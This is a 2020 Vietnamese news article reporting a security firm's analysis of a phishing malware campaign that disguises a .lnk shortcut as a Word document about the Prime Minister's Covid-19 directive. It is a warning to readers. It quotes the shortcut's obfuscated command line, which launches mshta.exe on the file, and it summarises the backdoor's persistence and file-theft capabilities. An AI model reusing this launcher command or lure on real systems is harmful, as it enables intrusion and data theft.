--Quảng cáo---
--Quảng cáo---

Cảnh báo mã độc mạo danh thông báo của Thủ tướng về dịch Covid-19 phát tán qua email

HỮU THÔNG - 00:00 11/03/2020

(khoahocdoisong.vn) - Theo Công ty CMC Cyber Security, mã độc được chèn trong một tệp văn bản với tiêu đề “Chi thi cua Thu tuong Nguyen Xuan Phuc” để đánh lừa, lấy cắp thông tin người dùng.

Trong báo cáo phân tích của CMC Cyber Security về mẫu mã độc được phát tán qua email giả dạng thông báo của Thủ tướng về dịch Covid-19, doanh nghiệp bảo mật này cho hay, thời gian gần đây do diễn biến của dịch Covid-19  khá phức tạp, nhiều nhóm hacker lợi dụng việc này để thực hiện các chiến dịch APT (tấn công có chủ đích - PV).

Mới đây, tại Việt Nam đã phát hiện mẫu mã độc giống với một số mẫu do nhóm tin tặc Panda phát triển. Cụ thể, mẫu mã độc được chèn trong một file word với tiêu đề “Chi Thi cua Thu tuong nguyen xuan phuc”. Theo phân tích của chuyên gia, file mẫu là một file shortcut có phần mở rộng là “.lnk” được ẩn dưới dạng một file winword nhằm đánh lừa người dùng do đuôi “.lnk” sẽ được Windows ẩn đi.

Tuy nhiên, file winword này sử dụng một target đáng ngờ. Thông thường target của shortcut thường trỏ đến một thư mục hoặc file đích, nhưng target của mẫu này lại chứa đoạn command có dạng: “%comspec% /c for %x in (%temp%=%cd%) do for /f “delims==” %i in (‘dir “%xChi Thi cua thu tuong nguyen xuan phuc.lnk” /s /b’) do start m%windir:~-1,1%hta.exe “%i”.

Các chuyên gia CMC Cyber Security cho biết, sau khi người dùng tải về, qua hàng loạt lệnh, mã độc sẽ tiến hành: Tạo bản sao của 3 file thực thi vào thư mục profile của user hoặc alluserprofile nếu có đủ quyền administrator; thêm và khóa autorun để tự kích hoạt file thực thi vừa drop ra khi khởi động lại máy; tạo mutex, kết nối đến server (máy chủ) để nhận lệnh từ server; tạo backdoor (cửa hậu) cho phép kẻ tấn công thực thi lệnh từ xa; hay hỗ trợ nhiều lệnh thực thi khác nhau bao gồm upload file, thư mục, list folder, đọc file, lấy thông tin máy tính, thông tin người dùng…

 


(0) Bình luận
Nổi bật Khoa học & Đời sống
--Quảng cáo---
--Quảng cáo---
--Quảng cáo---
  • Đông y điều trị viêm amiđan
    Khỏe- LY. Nguyễn Văn Sáu - 15:00 04/04/2020
    (khoahocdoisong.vn) - Trong Đông y, viêm amiđan, thường gọi là bệnh nhũ nga. Viêm amiđan cấp tính thường gọi phong nhiệt nhũ nga, còn viêm amiđan mạn tính thường gọi hư hỏa nhũ nga. Viêm amidan là một bệnh thường gặp trong các bệnh đường hô hấp, nhất là ở trẻ em.
  • Kỹ thuật hái chè
    Hỏi đáp- Hà Bình - 14:00 04/04/2020
    (khoahocdoisong.vn) - Tôi nghe nói hái chè cũng không phải là đơn giản mà phải có cách, xin hỏi có đúng không?
  • Thêm 4 bệnh nhân ở TP HCM xuất viện
    Khỏe- Lê Phương - 13:16 04/04/2020
    Bệnh nhân 80, 81, 82, 83 tại Bệnh viện Củ Chi được tuyên bố khỏi bệnh sáng 4/4, nâng số người điều trị khỏi Covid-19 cả nước lên 90.
  • Nang rễ thần kinh Tarlov
    Khỏe- PGS.TS Hà Hoàng Kiệm - 11:00 04/04/2020
    (khoahocdoisong.vn) - Sáng 12/3 bệnh nhân nữ Bạch Hồng P sinh năm 1992 trú tại Cầu Giấy, HN tới BV Quân y 103 khám. Người bệnh phàn nàn cách đây 2 tuần sau khi cúi bê một túi gạo khoảng 10kg thì xuất hiện đau vùng thắt lưng. Đau âm ỉ liên tục, đau tăng lên khi ngồi, đứng và đi, giảm khi nằm. Đau thấp hơn đốt thắt lưng L5, ngang mức khớp cùng chậu hai bên. Cảm giác đau tức căng trong xương lan ra hai bên mông, đều cả hai bên.
  • Đầy bụng vì ăn quá nhiều tôm
    Bác sĩ của bạn- Khánh Thủy - 11:00 04/04/2020
    (khoahocdoisong.vn) - Các dinh dưỡng trong tôm như chất đạm, photpho, axit béo, canxi,… nếu hấp thụ quá nhiều sẽ gây tình trạng rối loạn tiêu hóa, khó tiêu, chướng bụng và có thể dẫn đến tiêu chảy.
POWERED BY ONECMS - A PRODUCT OF NEKO